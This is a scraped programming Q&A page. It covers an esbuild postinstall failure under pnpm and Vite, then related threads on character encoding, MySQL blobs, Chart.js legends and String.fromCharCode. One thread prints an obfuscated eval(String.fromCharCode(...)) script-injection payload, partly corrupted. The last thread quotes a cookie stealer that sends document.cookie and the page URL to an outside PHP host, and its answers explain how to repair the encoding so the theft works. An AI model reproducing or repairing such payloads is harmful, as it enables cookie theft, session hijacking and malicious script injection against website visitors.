ESBuild post-install failed when installing Vite - javascript

I am using Vite as a bundler for a Nodejs project. When first installing Vite, everything is fine. But when I tried to install other packages again, I ran into the following error:
node_modules/esbuild postinstall$ node install.js
│ node:internal/errors:867
│ const err = new Error(message);
│ ^
│ Error: Command failed: /usr/local/bin/node /Volumes/Data/Develop/waterial-react/node_modules/esbuild/bin/esbuild --version
│ /Volumes/Data/Develop/waterial-react/node_modules/esbuild/bin/esbuild:1
│ ����
│ SyntaxError: Invalid or unexpected token
│ at internalCompileFunction (node:internal/vm:73:18)
│ at wrapSafe (node:internal/modules/cjs/loader:1159:20)
│ at Module._compile (node:internal/modules/cjs/loader:1203:27)
│ at Module._extensions..js (node:internal/modules/cjs/loader:1293:10)
│ at Module.load (node:internal/modules/cjs/loader:1096:32)
│ at Module._load (node:internal/modules/cjs/loader:935:12)
│ at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:84:12)
│ at node:internal/main/run_main_module:23:47
│ Node.js v19.4.0
│ at checkExecSyncError (node:child_process:885:11)
│ at Object.execFileSync (node:child_process:921:15)
│ at validateBinaryVersion (/Volumes/Data/Develop/waterial-react/node_modules/esbuild/install.js:96:28)
│ at /Volumes/Data/Develop/waterial-react/node_modules/esbuild/install.js:281:5 {
│ status: 1,
│ signal: null,
│ output: [
│ null,
│ Buffer(0) [Uint8Array] [],
│ Buffer(662) [Uint8Array] [
│ 47, 86, 111, 108, 117, 109, 101, 115, 47, 68, 97, 116,
│ 97, 47, 68, 101, 118, 101, 108, 111, 112, 47, 119, 97,
│ 116, 101, 114, 105, 97, 108, 45, 114, 101, 97, 99, 116,
│ 47, 110, 111, 100, 101, 95, 109, 111, 100, 117, 108, 101,
│ 115, 47, 101, 115, 98, 117, 105, 108, 100, 47, 98, 105,
│ 110, 47, 101, 115, 98, 117, 105, 108, 100, 58, 49, 10,
│ 239, 191, 189, 239, 191, 189, 239, 191, 189, 239, 191, 189,
│ 7, 10, 10, 10, 83, 121, 110, 116, 97, 120, 69, 114,
│ 114, 111, 114, 58,
│ ... 562 more items
│ ]
│ ],
│ pid: 8362,
│ stdout: Buffer(0) [Uint8Array] [],
│ stderr: Buffer(662) [Uint8Array] [
│ 47, 86, 111, 108, 117, 109, 101, 115, 47, 68, 97, 116,
│ 97, 47, 68, 101, 118, 101, 108, 111, 112, 47, 119, 97,
│ 116, 101, 114, 105, 97, 108, 45, 114, 101, 97, 99, 116,
│ 47, 110, 111, 100, 101, 95, 109, 111, 100, 117, 108, 101,
│ 115, 47, 101, 115, 98, 117, 105, 108, 100, 47, 98, 105,
│ 110, 47, 101, 115, 98, 117, 105, 108, 100, 58, 49, 10,
│ 239, 191, 189, 239, 191, 189, 239, 191, 189, 239, 191, 189,
│ 7, 10, 10, 10, 83, 121, 110, 116, 97, 120, 69, 114,
│ 114, 111, 114, 58,
│ ... 562 more items
│ ]
│ }
│ Node.js v19.4.0
└─ Failed in 1.3s at /Volumes/Data/Develop/waterial-react/node_modules/esbuild
 ELIFECYCLE  Command failed with exit code 1.
I am using pnpm as the package manager. I've found the issue esbuild #1703, #1953 and #1711 that might be related to this but didn't help much. I've tried to update Node.js to v19.4.0 but it didn't help.
I am using Storybook with pnpm which requires the following .npmrc:
auto-install-peers=true
legacy-peer-deps=true
node-linker=hoisted
ignore-workspace-root-check=true
I don't know if this caused the issue. I tried to remove node_modules and do a clean install again and it worked. But I'm wondering if there's a solution to fix this entirely without removing node_modules every time I install something.
I am using vite#^4.0.4 (latest) and pnpm#7.25.0 (also latest).
Thanks in advance!

Related

Verify if character may be encoded with windows-1250 in Javascript

How to verify if given character might be encoded (exists) in windows-1250 in Javascript
I need to introduce allowed characters validation in html inputs
I solved this problem by creating an array of unicode character codes which correspond to windows-1250 characters. Here is my implementation:
import * as _ from 'lodash';
const WINDOWS_1250_CHAR_CODES = [
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46,
47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76,
77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91,
92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105,
106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118,
119, 120, 121, 122, 123, 124, 125, 126, 127, 160, 164, 166, 167,
168, 169, 171, 172, 173, 174, 176, 177, 180, 181, 182, 183, 184,
187, 193, 194, 196, 199, 201, 203, 205, 206, 211, 212, 214, 215,
218, 220, 221, 223, 225, 226, 228, 231, 233, 235, 237, 238, 243,
244, 246, 247, 250, 252, 253, 258, 259, 260, 261, 262, 263, 268,
269, 270, 271, 272, 273, 280, 281, 282, 283, 313, 314, 317, 318,
321, 322, 323, 324, 327, 328, 336, 337, 340, 341, 344, 345, 346,
347, 350, 351, 352, 353, 354, 355, 356, 357, 366, 367, 368, 369,
377, 378, 379, 380, 381, 382, 711, 728, 729, 731, 733, 8211, 8212,
8216, 8217, 8218, 8220, 8221, 8222, 8224, 8225, 8226, 8230, 8240, 8249, 8250, 8364, 8482
];
export function windows1250encodingValidator(value: string): boolean {
if (_.isEmpty(value)) {
return true;
}
for (let i = 0; i < value.length; i++) {
const charCode = value.charCodeAt(i);
if (!WINDOWS_1250_CHAR_CODES.includes(charCode)) {
return false;
}
}
return true;
}

Why there is difference in arrayBuffer while getting inserted and getting back from mysql using nodejs

->While inserting image data(reader.readAsArrayBuffer(file)) into mysql blob
Uint8Array(3594) [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 0, 1, 0, 0, 0, 1, 0, 8, 3, 0, 0, 0, 107, 172, 88, 84, 0, 0, 0, 1, 115, 82, 71, 66, 0, 174, 206, 28, 233, 0, 0, 0, 4, 103, 65, 77, 65, 0, 0, 177, 143, 11, 252, 97, 5, 0, 0, 3, 0, 80, 76, 84, 69, 73, 191, 68, 73, 192, 67, 73, 192, 67, 73, 192, 67, 73, 192, 67, 74, 193, 68, 73, 192, 67, 72, 191, 67, 73, 192, 67, 74, 192, 67, …]
->while retrieving back from mysql blob image data is displaying as
Uint8Array(12325) [49, 51, 55, 44, 56, 48, 44, 55, 56, 44, 55, 49, 44, 49, 51, 44, 49, 48, 44, 50, 54, 44, 49, 48, 44, 48, 44, 48, 44, 48, 44, 49, 51, 44, 55, 51, 44, 55, 50, 44, 54, 56, 44, 56, 50, 44, 48, 44, 48, 44, 49, 44, 48, 44, 48, 44, 48, 44, 49, 44, 48, 44, 56, 44, 51, 44, 48, 44, 48, 44, 48, 44, 49, 48, 55, 44, 49, 55, 50, 44, 56, 56, 44, 56, 52, 44, 48, 44, 48, 44, 48, 44, 49, 44, 49, 49, 53, 44, 56, 50, …]
Expected results should be same while inserting and retrieving back the Uint8Array()

RegEx example for fromcharcode

This is a rudimentary question but what is the best regex expression to capture a fromcharcode range and making it efficient and extensible?
To start off up to the number range, what is the best way to capture the number range section making it extensible:
eval(String.fromCharCode(5, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 6109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 3249, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 105, 102, 32, 40, 44, 32, 49, 49, 53, 44, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));
To write something that can be applied to this and expanded on.
I'm positive that regular expressions are superbly unnecessary here for handling this task, which we simply have a reasonable list of integers, which we can use arrays, apply split or join and perform range check/validation in any forms that we wish, with scripting, yet if that may not be an option, we would start with a simple expression to filter out our numbers and start from there:
([0-9]+)(,\s)?
const regex = /([0-9]+)(,\s)?/gm;
const str = `5, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 6109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 3249, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 105, 102, 32, 40, 44, 32, 49, 49, 53, 44, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61,, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125`;
let m;
while ((m = regex.exec(str)) !== null) {
// This is necessary to avoid infinite loops with zero-width matches
if (m.index === regex.lastIndex) {
regex.lastIndex++;
}
// The result can be accessed through the `m`-variable.
m.forEach((match, groupIndex) => {
console.log(`Found match, group ${groupIndex}: ${match}`);
});
}
Demo

Chart.js max legend height

My scenario is:
I'm using phantomjs to generate fixed-size chart images, rendered using chart.js.
I've noticed that when there are too many labels, the legend starts to take up more and more of the availble (fixed) screen space, until the chart is practically invisible, as seen here:
Is there some way to forcibly limit the legend height? Or to set a hard minimum for the chart area height? From debugging and looking at the code here: https://github.com/chartjs/Chart.js/blob/v2.6.0/src/plugins/plugin.legend.js and here: https://github.com/chartjs/Chart.js/blob/v2.6.0/src/core/core.layoutService.js, I'm not seeing anything useful. Hope I missed something.
Using v2.6.0, and here is the chart definition JSON I'm using:
{
"type": "line",
"title": "DaTitle",
"xLabel": "DaLabel",
"yLabel": "DaYLabel",
"data": {
"labels": ["Time0", "Time1", "Time2", "Time3", "Time4", "Time5", "Time6", "Time7", "Time8", "Time9", "Time10", "Time11", "Time12", "Time13", "Time14", "Time15", "Time16", "Time17", "Time18", "Time19"],
"datasets": [{
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [45, 19, 70, 96, 8, 44, 49, 3, 10, 75, 71, 80, 29, 44, 22, 30, 59, 67, 17, 34]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [9, 60, 19, 71, 4, 47, 14, 35, 44, 2, 92, 8, 89, 73, 98, 15, 3, 41, 81, 20]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [39, 73, 50, 32, 11, 17, 17, 1, 76, 76, 53, 0, 58, 41, 0, 5, 22, 38, 79, 16]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [5, 6, 2, 87, 27, 6, 40, 17, 8, 27, 24, 57, 2, 2, 13, 52, 25, 24, 49, 61]
}, {
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [72, 73, 82, 71, 0, 37, 31, 22, 88, 63, 81, 22, 63, 54, 89, 30, 47, 49, 5, 77]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [95, 86, 96, 3, 64, 62, 47, 90, 21, 57, 14, 32, 29, 94, 29, 9, 82, 39, 79, 39]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [59, 56, 73, 58, 99, 61, 0, 17, 97, 89, 49, 67, 81, 49, 22, 99, 89, 30, 86, 81]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [5, 72, 51, 40, 97, 56, 40, 13, 0, 60, 65, 86, 58, 95, 67, 84, 4, 48, 37, 36]
}, {
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [48, 80, 85, 84, 53, 65, 64, 87, 56, 0, 96, 90, 76, 36, 37, 91, 25, 37, 72, 36]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [31, 84, 1, 12, 67, 74, 27, 86, 70, 38, 44, 27, 22, 57, 67, 39, 3, 1, 26, 44]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [70, 66, 99, 63, 99, 26, 3, 71, 28, 91, 81, 28, 70, 46, 2, 57, 84, 51, 77, 15]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [86, 92, 58, 98, 97, 25, 32, 69, 76, 94, 71, 85, 40, 15, 58, 56, 57, 9, 98, 97]
}, {
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [4, 93, 76, 92, 9, 35, 96, 76, 54, 61, 21, 56, 71, 18, 79, 4, 90, 42, 77, 93]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [78, 16, 40, 44, 11, 23, 93, 63, 94, 78, 57, 77, 75, 15, 63, 21, 12, 59, 56, 99]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [85, 24, 28, 31, 17, 8, 10, 7, 60, 89, 36, 44, 8, 99, 49, 28, 6, 50, 43, 43]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [46, 17, 73, 71, 66, 97, 84, 6, 12, 13, 38, 25, 40, 4, 36, 32, 65, 65, 3, 45]
}, {
"label": "RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR",
"data": [92, 43, 10, 40, 19, 34, 12, 48, 64, 89, 62, 61, 37, 25, 33, 31, 93, 83, 13, 16]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [80, 34, 77, 13, 57, 42, 6, 69, 41, 5, 47, 76, 55, 43, 24, 52, 37, 69, 92, 78]
}, {
"label": "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
"data": [92, 62, 49, 59, 36, 15, 94, 5, 3, 13, 12, 2, 89, 14, 53, 49, 78, 36, 63, 77]
}, {
"label": "2222222222222222222222222222222222222222222222222222222222222222",
"data": [79, 42, 90, 42, 75, 49, 96, 33, 53, 18, 63, 44, 27, 87, 92, 89, 30, 27, 72, 5]
}, {
"label": "Example",
"data": [41, 32, 7, 16, 73, 8, 60, 63, 44, 72, 73, 53, 47, 50, 7, 48, 48, 61, 52, 1]
}, {
"label": "Linear",
"data": [87, 91, 61, 80, 97, 19, 99, 93, 88, 17, 94, 79, 64, 87, 36, 75, 82, 53, 39, 84]
}, {
"label": "Interpolation",
"data": [30, 77, 18, 39, 67, 10, 19, 70, 76, 72, 66, 60, 87, 37, 43, 56, 89, 22, 2, 94]
}]
}
}
I managed to do a stupid little hack to get exactly what I wanted, and it's good enough for me, though it might be a little too hacky for other people's tastes:
Chart.Legend.prototype.afterFit = function () {
console.log('Before afterFit: ' + JSON.stringify(this.minSize) + ' ' + this.height);
this.minSize.height = this.height = 100;
console.log('After afterFit: ' + JSON.stringify(this.minSize) + ' ' + this.height);
}
console log is:
Before afterFit: {"width":1664,"height":527} 527
After afterFit: {"width":1664,"height":100} 100
Before afterFit: {"width":1664,"height":527} 527
After afterFit: {"width":1664,"height":100} 100
And the result:
I suppose to do this more cleanly, I should probably extend the Legend to override its afterFit behaviour. Will look into it, and I'll update here if it's possible to do it without too much hassle.
EDIT 19/10/2017:
Here is a "nicer" way to do this, which will look to a user like it was a built-in feature:
var origAfterFit = Chart.Legend.prototype.afterFit;
Chart.Legend.prototype.afterFit = function () {
origAfterFit.call(this);
if (this.options && this.options.maxSize) {
var maxSize = this.options.maxSize;
if (maxSize.height !== undefined) {
this.height = Math.min(this.height, maxSize.height);
this.minSize.height = Math.min(this.minSize.height, this.height);
}
if (maxSize.width !== undefined) {
this.width = Math.min(this.width, maxSize.width);
this.minSize.width = Math.min(this.minSize.width, this.width);
}
}
};
And example chart descriptor json:
{
"type" : "line",
"data" : {},
"options" : {
"legend" : {
"position" : "bottom",
"maxSize" : {
"height" : 200
},
"labels" : {
"usePointStyle" : true
}
}
}
}

Javascript string.fromcharcode

i am new to javascript and programming at all.
This is orginal code:
document.location = "http://ormteam.net23.net/Cookie_stealer.php?url=" + window.location.href + "&cookies=" + document.cookie;
And this is with string.fromcharcode
document.location = String.fromCharCode(34, 104, 116, 116, 112, 58, 47, 47, 111, 114, 109, 116, 101, 97, 109, 46, 110, 101, 116, 50, 51, 46, 110, 101, 116, 47, 67, 111, 111, 107, 105, 101, 95, 115, 116, 101, 97, 108, 101, 114, 46, 112, 104, 112, 63, 117, 114, 108, 61, 34) + document.url + String.fromCharCode(34, 38, 99, 111, 111, 107, 105, 101, 115, 61, 34) + document.cookies;
Why this does not work ?
Sitting on this peace of code for hours! ;//
The quotes are only needed for the string literal. Since you're not using a string literal, you don't need the quotes.
document.location = String.fromCharCode(104, 116, 116, 112, ...
remove 34 from those char codes as they are for "
make document.cookies to document.cookie
What are you doing with cookie stealer if you are new to javascript, just curious!

Categories